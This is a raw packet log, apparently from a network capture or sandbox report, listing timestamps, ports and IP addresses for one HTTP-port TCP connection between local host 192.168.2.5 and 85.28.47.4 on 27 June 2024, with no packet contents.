Jun 27, 2024 19:26:01.964808941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964817047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964827061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964838028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964844942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964854002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964878082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964895964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965542078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965558052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965573072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965588093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965604067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965619087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965624094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965624094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965636015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965650082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965652943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965671062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965671062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965672016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965687990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965692997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965703964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965713978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965720892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965739965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965740919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965740919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965755939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965759993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965771914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.965776920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965802908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.965821981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.966310024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.966326952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.966341972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.966358900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.966362000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.966362000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.966377020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.966398001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.966412067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.966412067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.966412067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.966439962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.048768044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.048804998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.048825026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.048831940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.048875093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.048875093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.048892975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.048908949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.048924923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.048940897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.048970938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.048970938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.048990965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049029112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049129009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049144983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049160004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049175024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049186945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049190998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049206018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049210072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049226046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049251080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049251080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049454927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049478054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049495935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049505949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049546957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049546957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049586058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049742937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049758911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049772978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049773932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049789906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049806118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049817085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049818039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049818039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049822092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049839020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049849987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049849987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049854994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049870014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049870968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049886942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049894094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049894094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049910069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.049916029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049936056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.049953938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050266981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050281048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050296068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050319910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050323963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050323963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050358057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050358057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050412893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050427914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050442934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050460100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050476074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050484896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050493956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050508022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050512075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050524950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050530910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050544024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050548077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050569057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050569057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050574064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050589085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050602913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050614119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050621986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050661087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050661087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.050971985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.050986052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051042080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051131010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051146030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051161051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051186085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051202059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051207066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051208019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051217079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051233053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051234961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051250935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051258087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051258087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051269054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051278114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051285028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051299095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051301003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051316977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051325083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051325083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051332951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051347971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051348925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051348925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051362991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051367998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051378965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051388025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051400900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051418066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051420927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051434040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.051440001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051470995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.051470995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052159071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052172899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052187920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052202940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052217960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052222013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052232981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052242994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052248955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052267075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052269936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052269936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052283049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052289963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052299976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052310944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052315950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052330971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052333117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052349091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052357912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052357912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052365065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052381039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052383900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052383900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052397013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052402973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052412987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052429914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052437067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052453041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052474976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052475929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052475929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052516937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052913904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052930117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052943945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052958012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052966118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.052973986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.052989960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053015947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053015947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053064108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053080082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053095102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053108931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053111076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053127050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053131104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053131104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053145885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053160906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053162098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053160906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053179026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053181887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053195000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053201914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053210974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053225994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053241968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053242922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053242922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053244114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053256989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053272963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053275108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053273916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053292990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053312063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.053968906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053985119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.053997993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054013968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054028034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054028988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054044962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054054976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054054976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054061890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054078102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054080963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054080963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054094076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054101944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054111958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054127932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054127932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054127932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054146051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054162025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054176092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054177046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054193020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054194927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054209948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054220915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054220915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054229975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.054245949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054245949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.054266930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.137392044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137423992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137440920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137465000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.137465954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.137511969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.137567043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137582064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137597084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137612104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137623072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.137623072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.137630939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137645006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.137665987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.137665987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.137839079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137855053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137870073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137885094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137895107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.137902021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.137917995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.137938023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.137967110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138170004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138185978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138200998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138216019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138230085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138230085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138237953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138253927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138257980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138258934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138268948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138283968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138283968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138286114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138309002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138312101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138324976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138331890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138340950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138358116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138359070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138358116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138377905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138381004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138396025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138415098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138768911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138792992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138808012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138822079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138823032 CEST	80	49705	85.28.47.4	192.168.2.5
